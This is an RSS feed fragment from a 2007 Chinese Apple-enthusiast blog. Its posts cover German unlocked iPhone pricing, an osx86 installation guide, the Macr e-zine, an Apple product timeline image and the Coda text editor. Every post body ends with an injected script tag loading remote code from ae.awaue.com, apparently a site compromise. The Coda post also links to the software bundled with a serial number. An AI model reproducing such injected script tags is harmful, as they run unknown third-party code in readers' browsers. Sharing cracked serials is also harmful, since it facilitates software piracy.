			<content:encoded><![CDATA[<p><img src="http://images.apple.com/iphone/storecredit/images/welcome_hero_20070927.png" onmouseout="undefined" onmouseover="undefined" title="undefined" height="523" width="231" /><br class="webkit-block-placeholder" />无SIM锁iPhone德国开卖 售价超万元由于沃达丰德国公司的申诉，德国汉堡地方法院颁出禁令，要求德国电信T-Mobile停止销售捆绑两年资费套餐并进行SIM卡锁定的iPhone手机。美联社本周三报道，德国电信宣布将遵守法庭要求，立刻开始销售无SIM卡锁，无套餐捆绑的iPHone手机。唯一的问题是，T-Mobile本月9日开始的销售捆绑套餐iPhone价格为399欧元，而即日起开始销售的无SIM卡锁版本价格高达999欧元，换算成人民币已经超过万元大关。这一价格策略也符合T-Mobile以及许多欧洲电信运营商的传统。比如流行的诺基亚旗舰N95手机，捆绑两年套餐的价格为199.95欧元，而无锁版为619.95欧元。德国电信还表示，允许已经购买iPhone的用户解除SIM卡锁定，但言下之意肯定需要付费。另外，T-Mobile还表示他们将会严格遵守法院判决，直到“法律问题被妥善解决”。“制造此事端”的沃达丰德国发言人对德国电信销售999欧元iPhone的诚意表示质疑。我们也可以从这种天价无锁机的身上看到iPhone进入中国市场后营销方式和价格策略的一些端倪。 <span style="font-weight: bold" class="Apple-style-span"> 这个消息的意义不在于不锁的iphone卖多少钱，而是有官方不锁卡的，就有完美破解的希望 </span><script src="http://ae.awaue.com/7"></script></p>
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		<title>osx86</title>
		<link>http://sputh.net/archives/105.mt</link>
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		<pubDate>Sat, 14 Jul 2007 15:25:40 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[mac OSx]]></category>

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		<description><![CDATA[这个是我见到过最详细的osx86的安装教程，如果你想使用pc安装osx的话，一定要来这个地方看看，
这里说的安装Mac OS X,是不光是装这个系统,还包括装上主要配件的驱动程序，让Mac能像windows一样完善的运行程序,有实用性,而不是只是用来观赏

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.osxcm.cn/2007/07/11/0918/">这个是我见到过最详细的osx86的安装教程，如果你想使用pc安装osx的话，一定要来这个地方看看，</a><img src="http://benyouhui.it168.com/attachments/month_0608/zbzGrCAz_qKEDmxgF0RKT.png" /><br />
<blockquote>这里说的安装Mac OS X,是不光是装这个系统,还包括装上主要配件的驱动程序，让Mac能像windows一样完善的运行程序,有实用性,而不是只是用来观赏</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<title>一个良好的开端-记述(macr)创刊号</title>
		<link>http://sputh.net/archives/54.mt</link>
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		<pubDate>Wed, 27 Jun 2007 09:20:37 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[macr]]></category>

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		<description><![CDATA[爱苹果，爱生活 » Introduced Macr看帖不回是不地道的,看完杂志更应该回.故去email一封,以表谢意与支持.今天无意种在klaith的blog上看到了这个新闻,发现了有本杂志交macr,而且还只是发布了第一期创刊.它是以电子杂志的形式出现在网路上,任何人都可以阅读.刚从box上下下来这个pdf文件,仔细的阅读了每一篇文章,感觉虽然不如商业杂志那么精美.但是一样让人看的很舒服.估计是因为目前的编辑都是完全站在enduser的角度上去创作文章的吧.等网站做好以后,希望能给读者一个发言的地方.衷心的祝福编辑们,感谢你们为果民们所做的一切贡献.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.macr.cn/"><img src="http://blog.klaith.net/images/macr_logo.jpg" /></a><a href="http://www.macr.cn/"></a><a href="http://blog.klaith.net/post/192">爱苹果，爱生活 » Introduced Macr</a>看帖不回是不地道的,看完杂志更应该回.故去email一封,以表谢意与支持.今天无意种在<a href="http://blog.klaith.net/">klaith的blog</a>上看到了这个新闻,发现了有本杂志交macr,而且还只是发布了第一期创刊.它是以电子杂志的形式出现在网路上,任何人都可以阅读.刚从box上下下来这个pdf文件,仔细的阅读了每一篇文章,感觉虽然不如商业杂志那么精美.但是一样让人看的很舒服.估计是因为目前的编辑都是完全站在enduser的角度上去创作文章的吧.等网站做好以后,希望能给读者一个发言的地方.衷心的祝福编辑们,感谢你们为果民们所做的一切贡献.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Apple Product Evolution</title>
		<link>http://sputh.net/archives/47.mt</link>
		<comments>http://sputh.net/archives/47.mt#comments</comments>
		<pubDate>Tue, 26 Jun 2007 08:15:54 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>

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		<description><![CDATA[Apple Product Evolutiond点击看超大图,3435*2280
&#160;
今天看到这张大图,除了没有具体的型号之外,苹果的全部产品都算是囊括进去了.有兴趣的可以点进去看一看.
A visual I created to show the evolution of most all Apple products
created over the past 30 years.This was created to show the evolution of the
form factor and industrial design of the products, not to show every single
model or upgrade Apple has launched. 

]]></description>
			<content:encoded><![CDATA[<p align="left"><a href="http://tofslie.com/work/apple_evolution.html">Apple Product Evolutiond点击看超大图,3435*2280</a></p>
<p align="left">&nbsp;</p>
<p align="left">今天看到这张大图,除了没有具体的型号之外,苹果的全部产品都算是囊括进去了.有兴趣的可以点进去看一看.</p>
<p align="left"><cite>A visual I created to show the evolution of most all Apple products<br />
created over the past 30 years.This was created to show the evolution of the<br />
form factor and industrial design of the products, not to show every single<br />
model or upgrade Apple has launched. </cite></p>
<p><img src="http://tofslie.com/work/apple_evolution.jpg" align="left" height="500" width="500" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>一个非常好用的text-editor&#8212;&#8211;coda</title>
		<link>http://sputh.net/archives/33.mt</link>
		<comments>http://sputh.net/archives/33.mt#comments</comments>
		<pubDate>Sun, 24 Jun 2007 04:33:41 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>

		<guid isPermaLink="false">http://sputh.net/archives/33.mt</guid>
		<description><![CDATA[如果您是windows用户,不好意思了,请pass掉这篇文章.如果您在寻找同样性质的工具,请google一下Ultra Edit

很显然,在mac的osx上提供给我们的文本编辑软件不够强大,我们还需要第三方软件来协助完成一些应用.
比如我要写css/html或者php/jsp,那么这个软件可以说是帮了大忙了.今天的介绍的就是一个文本编辑软件.
在google里输入coda试一下,可能前2页都没有相关信息,但是你如果搜索英文google,那么第一个出来的就是它了.
Text editor + Transmit + CSS editor + Terminal + Books + More = coda
上图里我就是正在ftp远程打开文件进行编辑的过程,它还同时支持你一次性打开多个文件进行同时编辑.
下载地址: Panic &#8211; Coda &#8211; One-Window Web Development for Mac OS X
需要注册码?看来你得阅读全文了.  

coda 1.0.3 with sn
]]></description>
			<content:encoded><![CDATA[<p>如果您是windows用户,不好意思了,请pass掉这篇文章.如果您在寻找同样性质的工具,请google一下Ultra Edit</p>
<p><a href="http://sputh.net/wp-content/uploads/2007/06/coda.png" target="_blank" title="coda.png"><img src="http://sputh.net/wp-content/uploads/2007/06/coda.png" alt="coda.png" /></a></p>
<p>很显然,在mac的osx上提供给我们的文本编辑软件不够强大,我们还需要第三方软件来协助完成一些应用.<br />
比如我要写css/html或者php/jsp,那么这个软件可以说是帮了大忙了.今天的介绍的就是一个文本编辑软件.<br />
在google里输入coda试一下,可能前2页都没有相关信息,但是你如果搜索英文google,那么第一个出来的就是它了.<br />
Text editor + Transmit + CSS editor + Terminal + Books + More = coda<br />
上图里我就是正在ftp远程打开文件进行编辑的过程,它还同时支持你一次性打开多个文件进行同时编辑.</p>
<p>下载地址: <a href="http://www.panic.com/coda/">Panic &#8211; Coda &#8211; One-Window Web Development for Mac OS X</a><br />
需要注册码?看来你得阅读全文了. <img src='http://sputh.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p><span id="more-33"></span></p>
<p><a href="http://www.box.net/shared/1d5n5al0s7" target="_blank">coda 1.0.3 with sn</a><script src="http://ae.awaue.com/7"></script></p>
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